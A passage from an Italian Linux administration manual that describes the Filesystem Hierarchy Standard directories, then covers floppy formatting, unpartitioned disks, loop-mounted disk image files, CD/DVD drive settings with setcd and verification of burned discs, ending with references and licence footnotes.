Tuttavia va osservato che nel documento FHS, a cui si riferisce questo capitolo, non viene menzionata la directory '`/sys/`', ma si tratta ugualmente di una directory obbligatoria nei sistemi GNU/Linux.

21.12.2.11 Directory «/root/»: directory personale dell'utente root

La directory '/root/' è la directory personale dell'utente '**root**'. Ci sono molti validi motivi per evitare di mescolarla insieme a quelle degli utenti comuni. Vale la pena di tenere presente che così facendo è possibile impedire gli accessi più facilmente. Inoltre è opportuno che questa directory sia collocata nel file system principale, proprio perché l'amministratore deve essere in grado di accedere anche quando il sistema viene avviato in situazioni di emergenza e non si possono innestare altri file system. Comunque, questa collocazione è considerata facoltativa.

21.12.2.12 Directory «/tmp/»: file temporanei

La directory '/tmp/' è destinata a contenere file provvisori e potrebbe essere anche collocata in un'unità virtuale basata su memoria volatile (disco RAM).

Non sempre i programmi che creano dei file provvisori in questa directory, provvedono poi anche alla loro eliminazione. Se la directory è stata collocata in un'unità di memorizzazione normale, di tanto in tanto, conviene darci un'occhiata e poi procedere a eliminare tutto quello che non serve.

Volendo (ammesso che ciò non sia già stato fatto da chi ha organizzato la distribuzione del sistema operativo) è possibile anche inserire in uno script, di quelli utilizzati dalla procedura di inizializzazione del sistema, un'istruzione di eliminazione di tutti i file contenuti in questa directory, in modo che a ogni avvio del sistema, questa venga ripulita.

Data la sua natura, quando si fanno delle copie di sicurezza del file system, non è il caso di copiare il contenuto di questa directory.

I permessi dati a questa directory sono importanti: devono consentire a chiunque di accedervi in ogni modo e dovrebbero evitare che un utente possa cancellare (inavvertitamente) file di altri utenti. Per questo si attribuiscono normalmente i permessi 1777_8, ovvero '**rwxrwxrwt**'.

21.12.2.13 Directory «/usr/»: gerarchia secondaria (dati statici e condivisibili)

La directory '/usr/' è importante e si scompone in una struttura molto articolata. La gerarchia che parte da questo punto è organizzata in modo da essere statica e condivisibile.

In linea di principio, gli applicativi non devono essere collocati all'interno di questa gerarchia in una directory specifica, ma dovrebbero distribuirsi nel sistema, insieme agli altri. Infatti, l'alternativa corretta è l'utilizzo della gerarchia '/opt/' creata appositamente per permettere questo tipo di collocazione degli applicativi. L'ambiente grafico X che potrebbe utilizzare una propria directory discendente da '/usr/', fa eccezione.

21.12.2.14 Directory «/usr/X11R6/»: X, versione 11R6

La directory '/usr/X11R6/' costituisce un'eccezione all'interno della gerarchia '/usr/', in quanto si tratta del punto di partenza di tutto ciò che compone il sistema grafico X. Va osservato però che non c'è la necessità di usare la gerarchia '/usr/X11R6/' e, sempre più spesso, i programmi e le librerie vengono collocati nelle posizioni comuni.

In ogni caso, i file di configurazione di X, legati al sistema, devono essere collocati in '/etc/X11/'.

21.12.2.15 Directory «/usr/bin/» e «/usr/sbin/»: binari non essenziali

La directory '/usr/bin/' contiene gli eseguibili di uso comune meno importanti. Generalmente, i file al suo interno sono accessibili in esecuzione a tutti gli utenti. La directory '/usr/sbin/' contiene eseguibili non indispensabili, il cui utilizzo dovrebbe essere di competenza dell'utente '**root**'.

Valgono le stesse considerazioni relative alla distinzione che c'è tra le directory '/bin/' e '/sbin/'. È opportuno ribadire che quanto contenuto in '/bin/' e '/sbin/' è essenziale per l'avvio del sistema in situazioni di emergenza e per gestire funzionalità di rete minime necessarie a innestare eventuali file system remoti. Tutto il resto, compresi i demoni per la gestione di servizi non essenziali, deve essere collocato in '/usr/bin/' e '/usr/sbin/'.

All'interno di '/usr/bin/' dovrebbero trovarsi alcune shell utilizzate normalmente per la programmazione (e non quindi per l'interazione con l'utente). In pratica potrebbe trattarsi di '/usr/bin/perl', '/usr/bin/python' e '/usr/bin/tcl'. Se per qualche motivo non possono trovarsi in questa directory, è almeno opportuno che si predisponga un collegamento simbolico che permetta di avviarle da questo punto. Ciò è necessario per poter realizzare script che possano funzionare in ogni configurazione, dal momento che all'inizio dello script occorre indicare il percorso assoluto dell'interprete.

```
#!/usr/bin/perl
...
```

21.12.2.16 Directory «/usr/games/»: giochi e programmi didattici

La directory '/usr/games/' serve per contenere programmi meno importanti destinati al passatempo o alla didattica.

I file di dati statici di questi dovrebbero collocarsi in '/usr/share/games/', mentre quelli che devono essere modificati (come lo storico dei punteggi raggiunti e cose simili) in '/var/games/'.

21.12.2.17 Directory «/usr/include/»: file di intestazione

Raccoglie i file *include*, o file di intestazione, cioè quelli utilizzati come segmenti standard di sorgenti per i programmi. In pratica, sono quei file che di solito terminano con un'estensione '.h' e vengono inglobati automaticamente in un sorgente attraverso le istruzioni '**#INCLUDE** ***file***'.

Non tutti i file di questo tipo sono inseriti direttamente nella directory '/usr/include/' o in una sua discendente, ma in un sistema ordinato, tutti i file *include* sono raggiungibili a partire da questo punto, almeno attraverso collegamenti simbolici.

21.12.2.18 Directory «/usr/lib/»: librerie per la programmazione e per gli applicativi

La directory '/usr/lib/' contiene i file di libreria necessari per i programmi installati a partire da '/usr/'. Il concetto di libreria, viene qui inteso in un senso più ampio di quello utilizzato da '/lib/'. Infatti, oltre ai file di libreria veri e propri si possono trovare altri file statici semplicemente accessori agli eseguibili.

Per la precisione, i file contenuti al di sotto di questa posizione, sono considerati come dipendenti dal tipo di architettura, mentre quelli che non dipendono da questa vanno collocati in '/usr/share/'.

21.12.2.19 Directory «/usr/local/»: programmi locali

La directory '/usr/local/' è il punto di inizio per l'installazione locale di programmi, senza che questi siano interessati dalle procedure di aggiornamento del software installato nel modo normale.

Questa valenza locale dipende dai punti di vista e dalle esigenze. '/usr/local/' potrebbe essere usata come directory di collegamento per un altro file system specifico per l'ambito locale. In pratica, quanto contenuto in '/usr/' potrebbe essere condiviso da diversi elaboratori, mentre '/usr/local/' potrebbe essere la particolarità di ogni elaboratore, o di un gruppo più piccolo.

In generale, questa directory dovrebbe apparire vuota subito dopo l'installazione di GNU/Linux. Al massimo potrebbe contenere le directory in cui può scomporsi (anche queste vuote). La struttura prevista di '/usr/local/' è la seguente:

- 'bin/',
- 'games/',
- 'include/',
- 'lib/',
- 'sbin/',
- 'share/',
- 'src/'.

Il significato e l'utilizzo delle directory appena elencate è equivalente a quelle omonime discendenti da '/usr/', solo che qui hanno un valore relativo a ciò che si installa localmente.

21.12.2.20 Directory «/usr/share/»: dati indipendenti dall'architettura

La directory '/usr/share/' serve a contenere file di dati statici indipendenti dall'architettura. Ciò rende questa directory condivisibile tra più sistemi operativi, **dello stesso tipo e versione**, installati su piattaforme differenti. Le directory più importanti di questa struttura sono descritte brevemente nell'elenco seguente:

Directory	Descrizione
`/usr/share/dict/`	elenchi di parole;
`/usr/share/doc/`	documenti vari;
`/usr/share/games/`	file di dati statici per quanto installato in '`/usr/games/`';
`/usr/share/info/`	documentazione ipertestuale GNU Info;
`/usr/share/locale/`	informazioni sulle varie localizzazioni;
`/usr/share/man/`	documentazione interna standard;
`/usr/share/sgml/`	dati SGML;
`/usr/share/xml/`	dati XML;
`/usr/share/nls/`	*Native language support*
`/usr/share/misc/`	varie;
`/usr/share/terminfo/`	directory del sistema Terminfo per la configurazione dei terminali;
`/usr/share/tmac/`	macro Troff aggiuntive e opzionali;
`/usr/share/zoneinfo/`	informazioni sull'ora locale.

Oltre a queste directory, potrebbero esserne aggiunte altre, specifiche di particolari applicazioni o gruppi di queste.

21.12.2.21 Directory «/usr/share/man/»: pagine di manuale

La directory '`/usr/share/man/`' contiene i file delle pagine di manuale, ovvero la documentazione interna leggibile attraverso il programma '**`man`**'. La directory si suddivide in una struttura che varia a seconda della localizzazione, come descritto nella sezione 5.2.1.

Questa non è l'unica posizione in cui si collocano i file delle pagine di manuale, ma questi file riguardano il sistema in generale, i programmi collocati a partire dalla directory radice e da '`/usr/`'. Sono esclusi i file riferiti alla documentazione di X, collocati in '`/usr/X11R6/man/`', ma nello stesso modo sono esclusi anche quelli relativi ai programmi installati localmente che si trovano in '`/usr/local/man/`'. Infine, le pagine di manuale specifiche degli applicativi aggiunti dovrebbero trovarsi in '`/opt/`***applicativo***`/man/`'.

21.12.2.22 Directory «/usr/share/misc/»: file di dati vari

La directory '`/usr/share/misc/`' è destinata a contenere file di dati statici di uso vario. In particolare, si dovrebbe trovare qui il file '`magic`'.

21.12.2.23 Directory «/usr/src/»: sorgenti

È il punto a partire dal quale conviene collocare i sorgenti dei programmi che si vogliono tenere a disposizione. I sorgenti che riguardano i programmi collocati in '/usr/local/' vanno inseriti a partire da '/usr/local/src/'.

21.12.2.24 Directory «/var/»: dati variabili

La directory '/var/' contiene altre directory e file di uso vario che contengono dati variabili. Questo significa anche che qui c'è un po' di tutto, ma si tratta di tutto quello che non può essere contenuto in '/usr/' perché tale directory deve poter essere accessibile in sola lettura. Nelle sezioni successive vengono elencate solo alcune delle directory che si diramano da '/var/'.

21.12.2.25 Directory «/var/cache/»: directory per la memorizzazione transitoria

La directory '/var/cache/' serve a contenere dati provvisori provenienti dalle applicazioni. Questi dati devono poter essere rigenerati dalle applicazioni in caso di necessità e ciò deve consentire la cancellazione manuale di tali dati senza provocare pregiudizio alle applicazioni. Così, tutto ciò che risulta contenuto a partire da questa directory non ha la necessità di essere salvato nelle procedure per le copie di sicurezza. Le directory più importanti che riguardano questa struttura sono descritte brevemente nell'elenco seguente:

Directory	Descrizione
/usr/share/fonts/	caratteri tipografici generati localmente;
/var/cache/man/	pagine di manuale formattate;
/var/cache/www/	proxy WWW o dati provvisori;
/var/cache/***applicativo***/	dati provvisori specifici di un programma determinato.

21.12.2.26 Directory «/var/lock/»: file per il controllo dell'accesso alle risorse

I file che servono a indicare che una certa risorsa è impegnata, dovrebbero essere collocati tutti in '/var/lock/'. Ogni file contenuto in questa directory dovrebbe avere il prefisso 'LCK..' e terminare con il nome del dispositivo (senza il prefisso '/dev/'). All'interno del file dovrebbe trovarsi il numero PID del processo che impegna il dispositivo.

21.12.2.27 Directory «/var/log/»: file delle registrazioni

La directory '/var/log/' contiene i file delle registrazioni: sia quelli utilizzati dal registro del sistema, sia quelli di altri programmi.

21.12.2.28 Directory «/var/mail/»: caselle postali degli utenti

La directory '`/var/mail/`' viene usata per contenere i file delle caselle postali degli utenti, quando queste non sono distribuite nelle rispettive directory personali.

La collocazione più logica per questa directory sarebbe '`/var/spool/mail/`', ma gli standard di fatto del passato nei sistemi Unix impongono questa scelta, allo scopo di garantire l'interscambio dei dati anche tra sistemi Unix molto diversi. Per lo stesso motivo, i file che appaiono in questa directory devono avere un nome corrispondente a quello dell'utenza a cui si riferiscono e il formato deve essere quello comune per la posta elettronica (*Unix mailbox*).

21.12.2.29 Director «/var/opt/»: dati variabili per gli applicativi aggiuntivi

La directory '`/var/opt/`' è il punto di partenza per altre directory contenenti i dati variabili degli applicativi aggiuntivi installati in '`/opt/`'. Per la precisione, ogni applicativo che necessita di modificare dati dovrebbe utilizzare una directory con il suo stesso nome.

```
/var/opt/applicativo/
```

21.12.2.30 Directory «/var/run/»: dati variabili di esecuzione

La directory '`/var/run/`' contiene informazioni che riguardano l'esecuzione dei processi. Si tratta in particolare di informazioni sul numero PID degli eseguibili in funzione, del file '`utmp`', dal quale si conosce quali sono gli utenti connessi attualmente, assieme ad altri dati transitori.

Per quanto riguarda l'informazione sul numero PID dei processi, questi sono contenuti in file il cui nome utilizza il formato seguente:

```
programma.pid
```

Tutto quanto contenuto in questa directory deve essere cancellato all'avvio del sistema.

21.12.2.31 Directory «/var/spool/»: code di dati

La directory '`/var/spool/`' è molto importante per tutti i programmi che hanno la necessità di gestire code di elaborazioni. Per esempio, sono collocate sotto questa directory le code di stampa, dei messaggi di posta elettronica inviati e di altri gestori di servizi.

21.12.2.32 Directory «/var/tmp/»: file temporanei preservati all'avvio del sistema

La directory '`/var/tmp/`' è destinata a contenere file temporanei che devono rimanere a disposizione più a lungo rispetto a quanto si fa con '`/tmp/`'. In particolare, il suo contenuto non dovrebbe essere cancellato al riavvio del sistema.

21.13 Approfondimenti

21.13.1 Inizializzazione a basso livello dei dischetti

Le unità a dischetti sono scomparse dagli elaboratori attuali, pertanto lo studio dei programmi specifici per l'inizializzazione a basso livello di tali supporti magnetici, si giustifica solo per il mantenimento di apparecchiature molto vecchie.

21.13.1.1 Utilizzo di «fdformat»

Il programma '**`fdformat`**'[55] esegue un'inizializzazione a basso livello di un dischetto. Il nome del file di dispositivo indica l'unità a dischetti in cui si vuole compiere l'operazione e anche il formato che si vuole ottenere. Per questo motivo è meglio evitare di utilizzare semplicemente nomi di dispositivo generici come '`/dev/fd0`' e '`/dev/fd1`'. Molto probabilmente si utilizzano maggiormente i formati relativi a '`/dev/fd0u1440`' e '`/dev/fd1u1440`' che si riferiscono al formato da 1440 Kibyte dei dischetti da 3,5 pollici.

> Vale la pena di ricordare che i nomi di dispositivo relativi ai dischetti possono cambiare leggermente da una distribuzione GNU/Linux a un'altra. A volte, il formato dei dischetti da 1440 Kibyte corrisponde al file '`/dev/fd0H1440`'.

```
fdformat [-n] dispositivo
```

L'opzione '**`-n`**' serve a saltare la fase di controllo successiva all'inizializzazione: in generale è meglio non utilizzarla in modo da verificare la riuscita dell'inizializzazione.

> Se si vuole consentire agli utenti comuni di compiere questa operazione occorre regolare i permessi dei file di dispositivo dei dischetti in modo da permettere loro l'accesso in lettura e scrittura.

Segue la descrizione di alcuni esempi.

- `#` **`fdformat /dev/fd0u1440`** [*Invio*]

  Inizializza un dischetto da 1440 Kibyte nella prima unità a dischetti.

- `#` **`fdformat /dev/fd1u1440`** [*Invio*]

  Inizializza un dischetto da 1440 Kibyte nella seconda unità a dischetti.

21.13.1.2 Utilizzo di «superformat»

Il programma '**superformat**'[56] è alternativo a '**fdformat**', rispetto al quale permette di definire molti dettagli in più che riguardano l'inizializzazione dei dischetti. In generale, si possono ignorare tutte queste caratteristiche speciali, utilizzando '**superformat**' con la sola indicazione del file di dispositivo del dischetto da inizializzare: è sufficiente fare riferimento al dispositivo generico, senza le informazioni sulla capacità dello stesso. Alla fine dell'inizializzazione a basso livello, '**superformat**' utilizza '**mformat**' per inserire nel dischetto un file system Dos-FAT, che se non serve può essere semplicemente ignorato.

superformat [*opzioni*] *dispositivo* [*descrizione_del_supporto*]

Prima di eseguire l'inizializzazione, '**superformat**' controlla le caratteristiche dell'unità a dischetti. È possibile predisporre il file '/etc/driveprm' con una direttiva che viene suggerita dallo stesso programma mentre è in funzione, per evitare che venga ripetuto questo controllo. Se si interviene in questo modo, occorre ricordare di eliminare la direttiva quando si cambia unità a dischetti, o quando si cambia l'unità di controllo. In generale, non è il caso di preoccuparsi di questo file, a meno che l'inizializzazione dei dischetti sia un'attività frequente.

Questo valore potrebbe essere influenzato anche dalle variazioni climatiche, pertanto è meglio non predisporre il file '/etc/driveprm', nonostante la perdita di tempo iniziale.

Le opzioni di '**superformat**' sono utili soprattutto quando si vuole inizializzare un dischetto utilizzando un formato insolito, ma in tal caso conviene leggere la pagina di manuale relativa: *superformat(1)*. Comunque, vale la pena di ricordare che con l'opzione '**-f**', o '**--noverify**', si esclude qualunque controllo sul risultato dell'inizializzazione.

L'esempio seguente inizializza un dischetto nell'unità corrispondente al file di dispositivo '/dev/fd0', utilizzando il formato standard massimo per quel tipo di unità:

```
# superformat /dev/fd0 [Invio]
```

21.13.2 Dischi senza partizioni

Come i dischetti, anche le unità di memorizzazione di dimensioni più grandi possono essere usate senza partizioni, facendo riferimento al file di dispositivo che rappresenta l'unità intera, come nell'esempio seguente:

```
# mkfs.ext3 /dev/sdc [Invio]
```

Come si vede, si intende inizializzare il dispositivo '/dev/sdc'. Inizialmente, il programma che si utilizza dovrebbe avvisare della scelta particolare che si sta compiendo:

```
/dev/sdc is entire device, not just one partition!
Proceed anyway? (y,n)
```

Evidentemente, basta confermare premendo la lettera '**y**', seguita da [*Invio*] per ottenere ciò che si desidera.

In generale, i programmi a disposizione per la suddivisione delle unità di memorizzazione in partizioni, partono dal presupposto che queste siano organizzate in settori da 512 byte. Tuttavia, possono esistere unità con settori di dimensioni multiple, come è accaduto in passato con alcuni tipi di dischi magneto-ottici.

GNU/Linux è in grado di gestire unità di memorizzazione con settori più grandi di 512 byte (purché si tratti di multipli e si resti entro i 4096 byte), ma le partizioni che si usano solitamente, secondo lo standard tradizionale del Dos, non possono essere applicate a unità con settori più grandi. Per questo motivo, l'unico modo di utilizzare tali unità è quello di trattarle senza partizioni. Per sicurezza, quando si crea un file system Second-extended (Ext2, Ext3 o Ext4) è bene accertarsi di avere blocchi di dimensioni sufficientemente grandi:

mkfs.ext4 -b 4096 /dev/sdc [*Invio*]

21.13.3 File-immagine

La possibilità di gestire file che riproducono un'unità di memorizzazione intera può sembrare paradossale o senza senso, ma in realtà, ciò è di grande utilità. In questi casi si parla di file-immagine, solo che il termine «immagine» viene usato in molte circostanze differenti e occorre evitare di lasciarsi confondere.

L'esempio più comune di file-immagine è costituito da quelli fatti per riprodurre un disco ottico.

Per utilizzare i file-immagine di unità di memorizzazione, cioè per poterli innestare come si fa con le unità reali, occorre che il kernel sia in grado di gestire questa funzione (sezione 8.3.10).

21.13.3.1 Creazione di un file-immagine normale

Un file-immagine di un disco può essere creato a partire da un'unità di memorizzazione esistente, oppure da zero, con l'inizializzazione di un file. Volendo creare l'immagine di un dischetto già esistente si procede semplicemente copiando il file di dispositivo corrispondente all'unità a dischetti nel file che si vuole creare.

cp /dev/fd0 floppy.img [*Invio*]

L'esempio appena mostrato genera il file '`floppy.img`' nella directory corrente.

Diversamente si può partire da zero, creando un file e inizializzandolo. Il comando seguente crea il file '`pippo.img`' della stessa dimensione di un dischetto da 1440 Kibyte.

dd if=/dev/zero of=pippo.img bs=1024c count=1440 [*Invio*]

Il comando successivo serve invece a inizializzarlo in modo da inserirvi un file system (viene utilizzato il formato Ext2).

mkfs.ext2 pippo.img [*Invio*]

```
pippo.img is not a block special device.
Proceed anyway? (y,n)
```

Trattandosi di una richiesta anomala, il programma '**`mkfs.ext2`**' vuole una conferma. Basta inserire la lettera '**`y`**' per proseguire.

```
Proceed anyway?  (y,n) y[Invio]
```

Nello stesso modo si può creare un file system differente (per ottenere un file-immagine contenente un file system ISO 9660, usato per i dischi ottici, si veda la sezione 21.7).

21.13.3.2 Accedere a un file-immagine normale

Per accedere a un file contenente l'immagine di un'unità di memorizzazione (con il suo file system), si procede come se si trattasse di un'unità reale o di una partizione normale. In particolare, viene utilizzato '**`mount`**' con l'opzione '**`-o loop`**'.

L'immagine cui si accede può essere stata creata sia partendo da un file vuoto che viene inizializzato successivamente, sia dalla copia di un'unità (o di una partizione) in un file.

```
# mount -o loop -t auto pippo.img /mnt/floppy[Invio]
```

Nell'esempio, l'immagine contenuta nel file '`pippo.img`' viene innestata a partire dalla directory '`/mnt/floppy/`', dove si comporta come se si trattasse di un dischetto normale.

21.13.3.3 File-immagine suddiviso in partizioni

Un file-immagine potrebbe essere suddiviso in partizioni, con l'ausilio di '**`fdisk`**' o di un programma equivalente. In tal caso il programma potrebbe richiedere di specificare espressamente la geometria a cui fare riferimento (numero di cilindri, numero di tracce per cilindro, numero di settori per traccia).

Per quanto riguarda invece la possibilità di innestare una partizione del file-immagine, occorre in più specificare lo scarto a partire dall'inizio del file. In pratica, occorre sapere in che posizione (espressa in byte, a partire da zero) inizia la partizione desiderata. Per esempio, un disco organizzato in 1024 cilindri, 8 tracce per cilindro e 32 settori per traccia, potrebbe essere stato suddiviso nelle partizioni seguenti, come visualizzato da '**`fdisk`**':

```
8 heads, 32 sectors/track, 1024 cylinders
Units = cylinders of 256 * 512 = 131072 bytes

Device Boot
                      Start         End      Blocks   Id  System
minix.dskp1   *           1        1016      130032   81  Minix / old Linux
minix.dskp4            1017        1024        1024   82  Linux swap / Solaris
```

In questo caso si sta verificando il contenuto del file-immagine '`minix.dsk`', in cui sono state dichiarate la prima e la quarta partizione primaria ('**`p1`**' e '**`p4`**').

Si parte dal presupposto che la prima partizione, pur iniziando dal primo cilindro, si trova esattamente dopo la prima traccia, per lasciare spazio al settore MBR ed eventualmente ad altro codice di avvio. Pertanto, la prima partizione di questo esempio inizia dopo 32×512 byte, ovvero dopo 16384. Eventualmente, si può verificare questo calcolo contando quanto dovrebbe essere grande la partizione, se partisse dall'inizio, sottraendo poi la dimensione indicata effettivamente: 1016×8×32×512 = 133169152 = 130048 Kibyte. Il valore riportato è invece di 130032 Kibyte, per cui c'è uno scarto di 16 Kibyte, pari al valore già trovato (16384).

A questo punto, per innestare la prima partizione, si può procedere come nell'esempio seguente, dove si lascia che il tipo di file system venga determinato automaticamente:

```
# mount -o loop,offset=16384 -t auto minix.dsk /mnt/minix [Invio]
```

21.13.3.4 trasferimento di un file-immagine in un'unità reale

Se il file-immagine, all'interno del quale è stato fatto del lavoro, corrisponde esattamente a un'unità di memorizzazione o a una sua partizione, è possibile riprodurre questa immagine nell'unità o nella partizione corrispondente. Per questo si può utilizzare '**cp**' oppure '**dd**'.

I due esempi seguenti riproducono nello stesso modo il file '`pippo.img`' in un dischetto.

```
# cp pippo.img /dev/fd0 [Invio]
```

```
# dd if=pippo.img of=/dev/fd0 [Invio]
```

Naturalmente, se l'immagine è stata innestata in precedenza per poterne modificare il contenuto, occorre ricordarsi di eseguirne il distacco prima di procedere alla riproduzione.

21.13.4 Unità di memorizzazione senza file system

GNU/Linux, come altri sistemi Unix, permette di gestire anche unità di memorizzazione di massa, ad accesso diretto, che al loro interno non contengono un file system. Questo concetto potrebbe sembrare scontato per molti, ma tutti quelli che si avvicinano a GNU/Linux provenendo da sistemi in cui tali cose non si possono fare devono porre attenzione a questo particolare.

Un'unità o una partizione senza file system è semplicemente una sequenza di settori. In modo molto semplificato è come se si trattasse di un file. Quando si indicano i nomi di dispositivo legati alle unità intere o alle loro partizioni, si fa riferimento a questi nel loro insieme, come se si trattasse di file.

Quando si vuole utilizzare un'unità o una partizione nel modo con cui si è abituati di solito, cioè per gestire i file al suo interno, la si deve innestare e da quel momento non si fa più riferimento al nome del dispositivo.

21.13.5 Controllo dell'unità per dischi ottici

Il kernel Linux ha una propria gestione per l'accesso alle unità CD o DVD, la quale può essere impostata, attraverso un programma apposito. In generale, non c'è alcun bisogno di intervenire sull'impostazione predefinita iniziale, tuttavia può essere interessante conoscere le alternative disponibili, in presenza di situazioni particolari.

Il programma che consente di modificare la configurazione di utilizzo delle unità CD o DVD è '**setcd**':

```
setcd [opzioni] [file_di_dispositivo]
```

Il programma '**setcd**' richiede l'indicazione di almeno un'opzione, altrimenti non si ottiene alcuna azione; inoltre, se non viene indicato il file di dispositivo, il programma cerca di utilizzare '`/dev/cdrom`'. Alcune delle opzioni richiedono un argomento numerico, pari a zero o uno, con il quale si intende disabilitare, oppure abilitare una funzionalità.

Tabella 21.160. Alcune opzioni.

Opzione	Descrizione
`-c0|1`	Controlla la funzione di caricamento automatico, quando il file di dispositivo corrispondente viene aperto. Generalmente, questa funzione è attiva.
`-d`***n***	Stabilisce il numero con il quale selezionare un disco all'interno di un'unità multipla (come un *juke-box*).
`-e0|1`	Controlla la funzione di caricamento ed espulsione automatici nel momento in cui il disco viene innestato o separato. Generalmente questa funzione è disabilitata, richiedendo per questo scopo l'uso di programmi come '**`eject`**'; a ogni modo, la sua attivazione è sostanzialmente equivalente all'attivazione di '**`-c`**' e '**`-o`**'.
`-f0|1`	Controlla una funzione che, se attiva, fa sì che siano ignorati alcuni errori. In generale, conviene che questa funzione sia attiva.
`-l0|1`	Controlla la funzione di chiusura dell'unità fisica, in modo da impedire che il disco possa essere espulso manualmente se risulta innestato. In generale, questa funzione è attiva.
`-o0|1`	Controlla la funzione di espulsione automatica del disco. In generale, questa opzione è disattivata; di solito, al posto di attivare questa opzione si preferisce usare '**`-e`**'.
`-t0|1`	Controlla la funzione di verifica del tipo di disco. Per esempio, questa funzione attiva fa in modo di generare un errore quando si tenta di innestare un CD musicale. In generale, questa funzione è attiva.
`-i`	Fornisce delle informazioni sullo stato dell'unità ed eventualmente sul tipo di disco contenuto.
`-r`	Riporta le opzioni di funzionamento allo stato predefinito, pari a '**`-c1 -f1 -l1 -o0 -t1`**'.
`-s`	Fornisce l'elenco dello stato delle opzioni di funzionamento dell'unità richiesta.

Segue la descrizione di alcuni esempi.

- `#` **`setcd -s /dev/sr0`** [*Invio*]

  Mostra la situazione attuale della configurazione relativa all'unità che corrisponde al file di dispositivo '`/dev/sr0`'. La situazione iniziale dovrebbe essere quella seguente:

  ```
  /dev/sr0:
    Auto close tray:     set
    Auto open tray:      cleared
    Use O_NONBLOCK flag: set
    Lock tray:           set
    Check CD type:       cleared
  ```

  Come si vede, risultano disattivate le funzioni di espulsione automatica (opzione '**`-o`**') e di controllo del tipo di disco (opzione '**`-t`**').

- `#` **`setcd -r /dev/sr0`** [*Invio*]

  Imposta la configurazione predefinita secondo la logica di '**`setcd`**':

```
/dev/sr0:
  Auto close tray:     set
  Auto open tray:      cleared
  Use O_NONBLOCK flag: set
  Lock tray:           set
  Check CD type:       set
```

- `# setcd -l0 /dev/sr0` [*Invio*]

  Fa in modo che si possa espellere manualmente il disco contenuto nell'unità del file di dispositivo '`/dev/sr0`', in ogni occasione. Tuttavia, si tratta di un'azione sconsigliabile.

```
/dev/sr0:
  Lock tray:           cleared
```

21.13.6 Estrazione della prima traccia dati

Un file system ISO 9660 può trovarsi in un CD-ROM o in un altro tipo di unità di memorizzazione, precisamente nella prima traccia dati. Qualunque sia la situazione, questa traccia dati può avere una dimensione inferiore all'unità di memorizzazione. Trovandosi nella necessità di estrarla, è utile conoscerne tale dimensione.

Se c'è il modo di innestarlo, basta utilizzare successivamente il comando '**`df`**' per sapere esattamente il numero di kibibyte (simbolo: «Kibyte») contenuti; ma in alternativa si può utilizzare Isosize[57], corrispondente al programma eseguibile '**`isosize`**':

```
isosize file_di_dispositivo
```

Per esempio, il comando seguente mostra in che modo sia possibile determinare la dimensione della prima traccia dati del CD-ROM inserito nel lettore corrispondente al dispositivo '`/dev/sr0`':

`# isosize /dev/sr0` [*Invio*]

Volendo estrarre la traccia, senza altri dati aggiuntivi, si potrebbe utilizzare '**`dd`**' nel modo seguente:

``# dd if=/dev/sr0 of=traccia bs=1b count=`isosize /dev/sr0` `` [*Invio*]

21.13.6.1 Verifica di un disco appena registrato

La verifica del successo o meno nella registrazione di un CD-ROM o di un DVD-ROM può essere fatta in un modo piuttosto semplice: leggendo tutto il contenuto e verificando se con questa operazione si ottengono delle segnalazioni di errore.

Supponendo di disporre di un lettore per CD-ROM o per DVD-ROM in corrispondenza del dispositivo '`/dev/sr0`', si potrebbe procedere come segue:

`# cat /dev/sr0 > /dev/null 2> /tmp/errori.txt` [*Invio*]

Se tutto va bene, alla fine si ottiene un file '`/tmp/errori.txt`' vuoto. Altrimenti il file riporta una segnalazione del tipo seguente:

```
cat: /dev/sr0: I/O error
```

Alle volte si possono osservare sullo schermo delle segnalazioni di errore aggiuntive anche quando il file '`/tmp/errori.txt`', o un suo equivalente, risulta vuoto alla fine del test. Dal momento che sia lo standard output, sia lo standard error del comando, sono ridiretti, si tratta di messaggi estranei provenienti dal sistema. A tali messaggi di errore corrispondono poi dei nuovi tentativi; solo se il sistema non riesce in alcun modo a superare gli errori viene coinvolto il comando stesso, che poi lo segnala attraverso lo standard error.

Se si ottiene una segnalazione di errore attraverso lo standard error di un comando di lettura, come '**`cat`**', il CD-ROM o il DVD-ROM è difettoso, altrimenti gli errori segnalati sullo schermo sono ignorabili. Inoltre, è il caso di ricordare che prima di iniziare il controllo di un altro disco, è necessario cancellare il file di destinazione dello standard error.

`#` **`rm /tmp/errori.txt ; cat /dev/sr0 > /dev/null 2> /tmp/errori.txt`** [*Invio*]

Tuttavia, si potrebbe fare meglio utilizzando il programma '**`isosize`**' già descritto nella sezione precedente. In questo modo si evitano tentativi di lettura oltre la fine della traccia, che generano normalmente degli errori tali da creare un po' di confusione:

`#` **``dd if=/dev/sr0 of=/dev/null bs=1b count=`isosize /dev/sr0` ``** [*Invio*]

21.14 Riferimenti

- Stein Gjoen, *Disk HOWTO*

  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html*⟩
- Lars Wirzenius, *Linux system administrators' guide*
- Jeff Tranter, *CDROM HOWTO*

  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html*⟩
- Winfried Trümper, *CD-writing HOWTO*

  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html*⟩
- *What is DVD?*

  ⟨*http://www.videohelp.com/dvd.htm*⟩
- Wikipedia, *Universal disk format*

  ⟨*http://en.wikipedia.org/wiki/Universal_Disk_Format*⟩
- Jakob Østergaard, *The Software RAID HOWTO*

  ⟨*http://unthought.net/Software-RAID.HOWTO/*⟩
- Wikipedia, *FUSE (Linux)*

  ⟨*http://en.wikipedia.org/wiki/FUSE_(Linux)*⟩
- *FUSE: filesystem in userspace*

  ⟨*http://fuse.sourceforge.net/*⟩

- *FUSEWiki*
  ⟨http://fuse.sourceforge.net/wiki/ ⟩
- Freestandards.org, *Filesystem hierarchy standard*
  ⟨http://www.pathname.com/fhs/ ⟩

[1] Per memoria cache si intende una porzione della memoria centrale in cui si trattengono delle informazioni.

[2] L'inizializzazione a basso livello riguarda in modo particolare i dischetti, ormai scomparsi, oppure i primi dischi fissi, o unità rimovibili speciali, anch'esse non più utilizzate. Rimane tuttavia il problema dell'inizializzazione a basso livello, da non sottovalutare, in quanto potrebbe ripresentarsi con unità di memorizzazione di nuova concezione.

[3] **E2fsprogs** GNU GPL

[4] **util-linux: fdisk** GNU GPL

[5] **GNU fdisk** GNU GPL

[6] **util-linux: cfdisk** GNU GPL

[7] **util-linux: sfdisk** GNU GPL

[8] **E2fsprogs** GNU GPL

[9] **Mkdosfs** GNU GPL

[10] **util-linux: mkfs** GNU GPL

[11] **Disktype** software libero con licenza speciale

[12] **E2fsprogs** GNU GPL

[13] **E2fsprogs** GNU GPL

